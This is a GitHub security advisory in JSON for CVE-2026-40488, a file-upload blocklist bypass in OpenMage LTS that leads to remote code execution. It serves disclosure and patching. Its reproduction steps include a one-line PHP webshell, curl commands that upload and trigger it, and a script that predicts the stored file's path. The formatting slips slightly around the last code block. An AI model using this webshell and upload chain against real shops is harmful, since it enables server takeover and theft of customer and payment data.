CVE-2026-40488: OpenMage LTS Remote Code Execution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-3j5q-7q7h-2hhv",
  "modified" : "2026-04-27T16:31:57Z",
  "published" : "2026-04-21T18:53:13Z",
  "aliases" : [ "CVE-2026-40488" ],
  "summary" : "OpenMage LTS: Customer File Upload Extension Blocklist Bypass → Remote Code Execution",
  "details" : "The product custom option file upload in OpenMage LTS uses an incomplete blocklist (`forbidden_extensions = php,exe`) to prevent dangerous file uploads. This blocklist can be trivially bypassed by using alternative PHP-executable extensions such as `.phtml`, `.phar`, `.php3`, `.php4`, `.php5`, `.php7`, and `.pht`. Files are stored in the publicly accessible `media/custom_options/quote/` directory, which lacks server-side execution restrictions for some configurations, enabling Remote Code Execution if this directory is not explicitly denied script execution.\n\n## Affected Version\n\n- **Project:** OpenMage/magento-lts\n- **Vulnerable File:** `https://github.com/OpenMage/magento-lts/blob/main/app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php`\n- **Vulnerable Lines:** 230-237 (`_validateUploadedFile()`)\n- **Configuration:** `app/code/core/Mage/Catalog/etc/config.xml:824`\n\n## Root Cause\n\nThe file upload handler uses `Zend_File_Transfer_Adapter_Http` directly with `ExcludeExtension` validator, referencing only:\n\n```xml\n<!-- Catalog/etc/config.xml:824 -->\n<forbidden_extensions>php,exe</forbidden_extensions>\n```\n\nThis misses the comprehensive `protected_extensions` blocklist defined elsewhere:\n\n```xml\n<!-- Core/etc/config.xml:449-478 -->\nphp, php3, php4, php5, php7, htaccess, jsp, pl, py, asp, sh, cgi, \nhtm, html, pht, phtml, shtml\n```\n\n## Vulnerable Code\n\n```php\n// app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php:230-237\n$_allowed = $this->_parseExtensionsString($option->getFileExtension());\nif ($_allowed !== null) {\n    $upload->addValidator('Extension', false, $_allowed);\n} else {\n    $_forbidden = $this->_parseExtensionsString($this->getConfigData('forbidden_extensions'));\n    if ($_forbidden !== null) {\n        $upload->addValidator('ExcludeExtension', false, $_forbidden);  // Only blocks php,exe!\n    }\n}\n```\n\n## Steps to Reproduce\n\n### 1. Environment Setup\n\nTarget: OpenMage LTS with Apache+mod_php or Apache+PHP-FPM (with .phtml handler)\n\n### 2. Exploitation\n\n\n```bash\n# Upload .phtml (bypasses blocklist)\ncurl -X POST \"https://target.com/vulnerable_upload.php\" \\\n  -F \"file=@shell.phtml;filename=shell.phtml\"\n```\n\n**Result:** \n<img width=\"1563\" height=\"733\" alt=\"image\" src=\"https://github.com/user-attachments/assets/c56d43e8-364a-4402-8198-9f49a50fd691\" />\n\n### 3. Code Execution\n\nOpenMage derives the uploaded file's storage path deterministically from two values the attacker\nalready controls:\n\n**Subdirectory** — `getDispretionPath($filename)` takes the **first two characters** of the\nuploaded filename and uses them as nested directory names:\n\n```\nfilename = \"shell.phtml\"  →  s/ h/  →  media/custom_options/quote/s/h/\n```\n\n**Filename** — `md5(file_get_contents($tmp_name))` is computed over the **raw bytes of the\nuploaded payload** (`File.php:245`):\n\n```php\n// app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php:245\n$fileHash = md5(file_get_contents($fileInfo['tmp_name']));\n$filePath  = $dispersion . DS . $fileHash . '.' . $extension;\n```\n\nBecause the attacker writes the webshell themselves, both the filename prefix and file contents are\nknown **before the upload request is sent**. The full URL can be pre-computed:\n\n```bash\nSHELL_CONTENT='<?php echo exec(\"id\"); system($_GET[\"cmd\"]??\"id\"); ?>\\n'\nHASH=$(echo -n \"$SHELL_CONTENT\" | md5sum | cut -d' ' -f1)\nPREFIX=$(echo \"shell\" | cut -c1-2 | sed 's/./&\\//g' | tr -d '\\n' | sed 's/\\/$//') # → s/h\n\n```bash\ncurl \"https://target.com/media/custom_options/quote/d9/bb4d647f16d9e7edfe49216140de2879.phtml\"\n```\n\n**Result:** RCE Confirmed\n\n<img width=\"1559\" height=\"827\" alt=\"image\" src=\"https://github.com/user-attachments/assets/12990f06-8750-48e6-87c5-add18b9e7260\" />\n\n## Affected Deployments\n\n| Configuration | Status |\n|---------------|--------|\n| Apache + mod_php (with `php_flag engine 0`) | SAFE |\n| Apache + PHP-FPM | **VULNERABLE** |\n| Nginx (reference hardened config) | SAFE |\n| Nginx (generic config with .phtml→FPM) | **VULNERABLE** |\n\n## Impact\n\n1. **Remote Code Execution:** Full server compromise through webshell upload\n2. **Data Exfiltration:** Access to database credentials, customer PII, payment data\n3. **Lateral Movement:** Pivot to internal infrastructure\n4. **Supply Chain:** Inject malicious code into served content",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "openmage/magento-lts"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "20.17.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 20.16.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/OpenMage/magento-lts/security/advisories/GHSA-3j5q-7q7h-2hhv"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-40488"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/OpenMage/magento-lts"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-434" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-21T18:53:13Z",
    "nvd_published_at" : "2026-04-20T17:16:36Z"
  }
}